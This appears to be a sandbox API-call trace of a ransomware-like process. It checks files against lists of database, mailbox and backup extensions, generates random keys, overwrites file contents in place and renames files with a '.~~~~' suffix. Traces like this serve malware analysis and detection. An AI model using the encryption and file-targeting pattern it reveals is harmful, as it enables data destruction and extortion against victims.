	[0066.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b04c8 | out: hHeap=0x300000) returned 1
	[0066.641] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0066.641] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0066.646] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0066.646] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0066.683] CloseHandle (hObject=0x120) returned 1
	[0066.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0066.884] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0066.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0066.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0066.927] GetLastError () returned 0x0
	[0066.927] SetLastError (dwErrCode=0x0) 
	[0066.927] GetLastError () returned 0x0
	[0066.927] SetLastError (dwErrCode=0x0) 
	[0066.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623e0 | out: hHeap=0x300000) returned 1
	[0066.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362400 | out: hHeap=0x300000) returned 1
	[0066.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368bb0 | out: hHeap=0x300000) returned 1
	[0066.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0050 | out: hHeap=0x300000) returned 1
	[0066.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0066.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6b20 | out: hHeap=0x300000) returned 1
	[0066.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0066.928] RtlWakeConditionVariable () returned 0x365f70
	[0066.928] GetCurrentThreadId () returned 0x3a4
	[0066.928] GetCurrentThreadId () returned 0x3a4
	[0066.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6688
	[0066.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6d18 | out: hHeap=0x300000) returned 1
	[0066.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dcb0 | out: hHeap=0x300000) returned 1
	[0066.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6d18
	[0066.928] lstrlenW (lpString=".scr") returned 4
	[0066.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".scr") returned 0x0
	[0066.928] lstrlenW (lpString=".cmd") returned 4
	[0066.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".cmd") returned 0x0
	[0066.928] lstrlenW (lpString=".dll") returned 4
	[0066.928] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".dll") returned 0x0
	[0066.928] lstrlenW (lpString=".bat") returned 4
	[0066.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".bat") returned 0x0
	[0066.929] lstrlenW (lpString=".cpl") returned 4
	[0066.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".cpl") returned 0x0
	[0066.929] lstrlenW (lpString=".sys") returned 4
	[0066.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".sys") returned 0x0
	[0066.929] lstrlenW (lpString=".msc") returned 4
	[0066.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".msc") returned 0x0
	[0066.929] lstrlenW (lpString=".com") returned 4
	[0066.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".com") returned 0x0
	[0066.929] lstrlenW (lpString=".lnk") returned 4
	[0066.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".lnk") returned 0x0
	[0066.929] lstrlenW (lpString=".msp") returned 4
	[0066.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".msp") returned 0x0
	[0066.929] lstrlenW (lpString=".pif") returned 4
	[0066.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".pif") returned 0x0
	[0066.929] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0066.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0066.929] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0066.930] lstrlenW (lpString=".sqb") returned 4
	[0066.930] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".sqb") returned 0x0
	[0066.930] lstrlenW (lpString=".ost") returned 4
	[0066.930] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".ost") returned 0x0
	[0066.930] lstrlenW (lpString=".txt") returned 4
	[0066.930] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".txt") returned 0x0
	[0066.930] lstrlenW (lpString=".mdt") returned 4
	[0066.930] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".mdt") returned 0x0
	[0066.930] lstrlenW (lpString=".BDB") returned 4
	[0066.930] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".BDB") returned 0x0
	[0066.930] lstrlenW (lpString=".eql") returned 4
	[0066.930] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".eql") returned 0x0
	[0066.930] lstrlenW (lpString=".DBF") returned 4
	[0066.930] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".DBF") returned 0x0
	[0066.930] lstrlenW (lpString=".EQL") returned 4
	[0066.930] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".EQL") returned 0x0
	[0066.930] lstrlenW (lpString=".FDB") returned 4
	[0066.930] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".FDB") returned 0x0
	[0066.930] lstrlenW (lpString=".EDB") returned 4
	[0066.930] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".EDB") returned 0x0
	[0066.931] lstrlenW (lpString=".DACPAC") returned 7
	[0066.931] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0066.931] lstrlenW (lpString=".VHD") returned 4
	[0066.931] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".VHD") returned 0x0
	[0066.931] lstrlenW (lpString=".DBV") returned 4
	[0066.931] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".DBV") returned 0x0
	[0066.931] lstrlenW (lpString=".dacpac") returned 7
	[0066.931] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".dacpac") returned 0x0
	[0066.931] lstrlenW (lpString=".sdf") returned 4
	[0066.931] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".sdf") returned 0x0
	[0066.931] lstrlenW (lpString=".accdb") returned 6
	[0066.931] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".accdb") returned 0x0
	[0066.931] lstrlenW (lpString=".DBX") returned 4
	[0066.931] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".DBX") returned 0x0
	[0066.931] lstrlenW (lpString=".MDT") returned 4
	[0066.931] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".MDT") returned 0x0
	[0066.931] lstrlenW (lpString=".SQB") returned 4
	[0066.931] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".SQB") returned 0x0
	[0066.931] lstrlenW (lpString=".vhd") returned 4
	[0066.931] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".vhd") returned 0x0
	[0066.935] lstrlenW (lpString=".bac") returned 4
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".bac") returned 0x0
	[0066.936] lstrlenW (lpString=".mdf") returned 4
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".mdf") returned 0x0
	[0066.936] lstrlenW (lpString=".BAK") returned 4
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".BAK") returned 0x0
	[0066.936] lstrlenW (lpString=".BAC") returned 4
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".BAC") returned 0x0
	[0066.936] lstrlenW (lpString=".dbs") returned 4
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".dbs") returned 0x0
	[0066.936] lstrlenW (lpString=".vhdx") returned 5
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".vhdx") returned 0x0
	[0066.936] lstrlenW (lpString=".NDF") returned 4
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".NDF") returned 0x0
	[0066.936] lstrlenW (lpString=".dat") returned 4
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".dat") returned 0x0
	[0066.936] lstrlenW (lpString=".DBS") returned 4
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".DBS") returned 0x0
	[0066.936] lstrlenW (lpString=".CKP") returned 4
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".CKP") returned 0x0
	[0066.936] lstrlenW (lpString=".edb") returned 4
	[0066.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".edb") returned 0x0
	[0066.937] lstrlenW (lpString=".PST") returned 4
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".PST") returned 0x0
	[0066.937] lstrlenW (lpString=".dbf") returned 4
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".dbf") returned 0x0
	[0066.937] lstrlenW (lpString=".SQL") returned 4
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".SQL") returned 0x0
	[0066.937] lstrlenW (lpString=".pst") returned 4
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".pst") returned 0x0
	[0066.937] lstrlenW (lpString=".dbv") returned 4
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".dbv") returned 0x0
	[0066.937] lstrlenW (lpString=".SDF") returned 4
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".SDF") returned 0x0
	[0066.937] lstrlenW (lpString=".dtxs") returned 5
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".dtxs") returned 0x0
	[0066.937] lstrlenW (lpString=".db3") returned 4
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".db3") returned 0x0
	[0066.937] lstrlenW (lpString=".OST") returned 4
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".OST") returned 0x0
	[0066.937] lstrlenW (lpString=".dbx") returned 4
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".dbx") returned 0x0
	[0066.937] lstrlenW (lpString=".DB3") returned 4
	[0066.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".DB3") returned 0x0
	[0066.937] lstrlenW (lpString=".DAT") returned 4
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".DAT") returned 0x0
	[0066.938] lstrlenW (lpString=".VHDX") returned 5
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".VHDX") returned 0x0
	[0066.938] lstrlenW (lpString=".ndf") returned 4
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".ndf") returned 0x0
	[0066.938] lstrlenW (lpString=".DB") returned 3
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".DB") returned 0x0
	[0066.938] lstrlenW (lpString=".sql") returned 4
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".sql") returned 0x0
	[0066.938] lstrlenW (lpString=".MYD") returned 4
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".MYD") returned 0x0
	[0066.938] lstrlenW (lpString=".DBT") returned 4
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".DBT") returned 0x0
	[0066.938] lstrlenW (lpString=".ACCDB") returned 6
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0066.938] lstrlenW (lpString=".fdb") returned 4
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".fdb") returned 0x0
	[0066.938] lstrlenW (lpString=".bak") returned 4
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".bak") returned 0x0
	[0066.938] lstrlenW (lpString=".myd") returned 4
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".myd") returned 0x0
	[0066.938] lstrlenW (lpString=".DTXS") returned 5
	[0066.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".DTXS") returned 0x0
	[0066.939] lstrlenW (lpString=".ckp") returned 4
	[0066.939] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".ckp") returned 0x0
	[0066.939] lstrlenW (lpString=".dbt") returned 4
	[0066.939] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".dbt") returned 0x0
	[0066.939] lstrlenW (lpString=".db") returned 3
	[0066.939] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".db") returned 0x0
	[0066.939] lstrlenW (lpString=".TXT") returned 4
	[0066.939] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".TXT") returned 0x0
	[0066.939] lstrlenW (lpString=".MDF") returned 4
	[0066.939] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".MDF") returned 0x0
	[0066.939] lstrlenW (lpString=".bdb") returned 4
	[0066.939] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".bdb") returned 0x0
	[0066.939] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0066.939] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0066.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39d7e8
	[0066.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0066.939] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0066.941] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0066.941] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0066.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0066.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0066.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0066.941] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=18693094350) returned 1
	[0066.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x94ebfdf0, dwHighDateTime=0x1d60e1e)) 
	[0066.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0066.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0066.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0066.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dcb0
	[0066.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0066.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dcb0 | out: hHeap=0x300000) returned 1
	[0066.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0066.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0066.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6b20
	[0066.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0066.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6b20 | out: hHeap=0x300000) returned 1
	[0066.942] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0066.942] GetLastError () returned 0x0
	[0066.942] SetLastError (dwErrCode=0x0) 
	[0066.942] GetLastError () returned 0x0
	[0066.942] SetLastError (dwErrCode=0x0) 
	[0066.942] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0066.942] GetLastError () returned 0x0
	[0066.942] SetLastError (dwErrCode=0x0) 
	[0066.942] GetLastError () returned 0x0
	[0066.943] SetLastError (dwErrCode=0x0) 
	[0066.943] GetLastError () returned 0x0
	[0066.943] SetLastError (dwErrCode=0x0) 
	[0066.943] GetLastError () returned 0x0
	[0066.943] SetLastError (dwErrCode=0x0) 
	[0066.943] GetLastError () returned 0x0
	[0066.943] SetLastError (dwErrCode=0x0) 
	[0066.943] GetLastError () returned 0x0
	[0066.943] SetLastError (dwErrCode=0x0) 
	[0066.943] GetLastError () returned 0x0
	[0066.943] SetLastError (dwErrCode=0x0) 
	[0066.943] GetLastError () returned 0x0
	[0066.943] SetLastError (dwErrCode=0x0) 
	[0066.943] GetLastError () returned 0x0
	[0066.943] SetLastError (dwErrCode=0x0) 
	[0066.943] GetLastError () returned 0x0
	[0066.944] SetLastError (dwErrCode=0x0) 
	[0066.944] GetLastError () returned 0x0
	[0066.944] SetLastError (dwErrCode=0x0) 
	[0066.944] GetLastError () returned 0x0
	[0066.944] SetLastError (dwErrCode=0x0) 
	[0066.944] GetLastError () returned 0x0
	[0066.944] SetLastError (dwErrCode=0x0) 
	[0066.944] GetLastError () returned 0x0
	[0066.944] SetLastError (dwErrCode=0x0) 
	[0066.944] GetLastError () returned 0x0
	[0066.944] SetLastError (dwErrCode=0x0) 
	[0066.944] GetLastError () returned 0x0
	[0066.944] SetLastError (dwErrCode=0x0) 
	[0066.944] GetLastError () returned 0x0
	[0066.944] SetLastError (dwErrCode=0x0) 
	[0066.944] GetLastError () returned 0x0
	[0066.944] SetLastError (dwErrCode=0x0) 
	[0066.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0066.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b04c8
	[0066.945] ReadFile (in: hFile=0x120, lpBuffer=0x3b04c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b04c8*, lpNumberOfBytesRead=0x24dfec0*=0x708, lpOverlapped=0x0) returned 1
	[0066.952] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0066.952] WriteFile (in: hFile=0x120, lpBuffer=0x3b04c8*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b04c8*, lpNumberOfBytesWritten=0x24dfec0*=0x708, lpOverlapped=0x0) returned 1
	[0066.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b04c8 | out: hHeap=0x300000) returned 1
	[0066.953] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0066.953] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
